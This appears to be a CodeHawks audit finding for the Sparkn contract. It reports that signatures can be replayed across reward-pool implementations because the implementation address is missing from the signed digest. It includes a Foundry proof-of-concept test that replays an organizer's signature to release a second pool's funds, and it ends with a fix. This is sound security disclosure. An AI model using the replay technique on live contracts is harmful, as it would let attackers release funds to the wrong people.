Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Submission Details
Severity: high
Valid

Signatures can be replayed against different implementations for same organizer/contest as signature digest missing implementation parameter

Summary

Signatures can be replayed against different implementations for same organizer/contest as the signature digest is missing the implementation parameter.

Vulnerability Details

Every contest is uniquely identified by the "salt" hash which is produced from: [address organizer, bytes32 contestId, address implementation].

Sparkn allows the same organizer to create 2 or more contests where the only difference is the implementation address; this could represent 2 separate reward pools for the same real-world contest. Sparkn's CodeHawks audit competition can be represented this way with one pool for H/M rewards and another pool for Low rewards.

ProxyFactory::deployProxyAndDistributeBySignature() doesn't include implementation in the signature digest, so once the contest organizer uses a signature to release rewards from the first H/M rewards pool, an attacker can replay that signature against the second Low reward pool to release those rewards early and to the wrong addresses.

PoC follows which models CodeHawks Sparkn audit contest using Sparkn itself! Put this in ProxyFactoryTest.t.sol:

// @audit modified to allow parameter for contestId in signature
function createSignature(uint256 privateK, bytes32 contestId)
public view returns (bytes32, bytes memory, bytes memory) {
// organizer is test signer this time
// build the digest according to EIP712 and sign it by test signer to create signature
bytes32 domainSeparatorV4 = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes("ProxyFactory")),
keccak256(bytes("1")),
block.chainid,
address(proxyFactory)
)
);
bytes memory sendingData = createData();
bytes32 data = keccak256(abi.encode(contestId, sendingData));
bytes32 digest = ECDSA.toTypedDataHash(domainSeparatorV4, data);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateK, digest);
bytes memory signature = abi.encodePacked(r, s, v);
return (digest, sendingData, signature);
}
function testSignatureReplayDifferentImplementation() public {
// every contest is uniquely identified by the "salt" hash which is
// produced from: [address organizer, bytes32 contestId, address implementation]
//
// Sparkn allows the same organizer to create 2 contests where only difference is
// the implementation address. For example this could represent 2 separate reward
// pools for the same real-world contest.
//
// This PoC models Sparkn's CodeHawks audit competition using Sparkn with
// one reward pool for H/M rewards and another reward pool for Low rewards
vm.startPrank(factoryAdmin);
// create first H/M reward pool
bytes32 contestId = keccak256(abi.encode("SPARKN-CodeHawks-Contest"));
proxyFactory.setContest(TEST_SIGNER, contestId, block.timestamp + 8 days, address(distributor));
// create second Low reward pool
Distributor distributor2 = new Distributor(address(proxyFactory), stadiumAddress);
proxyFactory.setContest(TEST_SIGNER, contestId, block.timestamp + 8 days, address(distributor2));
vm.stopPrank();
bytes32 firstSalt = keccak256(abi.encode(TEST_SIGNER, contestId, address(distributor)));
address firstProxyAddress = proxyFactory.getProxyAddress(firstSalt, address(distributor));
bytes32 secondSalt = keccak256(abi.encode(TEST_SIGNER, contestId, address(distributor2)));
address secondProxyAddress = proxyFactory.getProxyAddress(secondSalt, address(distributor2));
// sanity check that first & second reward pools differ
assert(firstSalt != secondSalt);
assert(firstProxyAddress != secondProxyAddress);
// fund both reward pools
uint H_M_REWARDS = 14_000 ether;
uint LOW_REWARDS = 1_000 ether;
vm.startPrank(sponsor);
MockERC20(jpycv2Address).transfer(firstProxyAddress, H_M_REWARDS);
MockERC20(jpycv2Address).transfer(secondProxyAddress, LOW_REWARDS);
vm.stopPrank();
// verify both reward pools have received the reward tokens
assertEq(MockERC20(jpycv2Address).balanceOf(firstProxyAddress), H_M_REWARDS);
assertEq(MockERC20(jpycv2Address).balanceOf(secondProxyAddress), LOW_REWARDS);
// forward time so the contest is over
vm.warp(9 days);
// rewards are ready to distribute for the first H/M reward pool, so
// contest organizer uses signature method to distribute the rewards
(bytes32 digest, bytes memory sendingData, bytes memory signature)
= createSignature(TEST_SIGNER_KEY, contestId);
assertEq(ECDSA.recover(digest, signature), TEST_SIGNER);
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, contestId, address(distributor), signature, sendingData
);
// first H/M reward pool has had its rewards distributed
assertEq(MockERC20(jpycv2Address).balanceOf(firstProxyAddress), 0 ether);
// second Low reward pool has not had its rewards distributed
assertEq(MockERC20(jpycv2Address).balanceOf(secondProxyAddress), LOW_REWARDS);
// an attacker sees the previous txn parameters and replays them
// to distribute rewards from the 2nd Low reward pool. This works since
// the implementation address does not form part of the signature digest
proxyFactory.deployProxyAndDistributeBySignature(
TEST_SIGNER, contestId, address(distributor2), signature, sendingData
);
// second Low reward pool has now had its rewards distributed, even though the
// contest organizer didn't want this to happen
assertEq(MockERC20(jpycv2Address).balanceOf(secondProxyAddress), 0 ether);
}

Run the PoC with: forge test --match-test testSignatureReplayDifferentImplementation

Impact

Signature replay can be used by anyone to prematurely release rewards from other reward pools tied to the same organizer/contest resulting in rewards being released to the wrong addresses. In the provided PoC example as soon as the contest organizer released the H/M pool rewards, an attacker could replay that signature to release the Low pool rewards which would get paid to the wrong people.

Tools Used

Manual

Recommendations

Include implementation in the signature digest:

bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, implementation, data)));

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.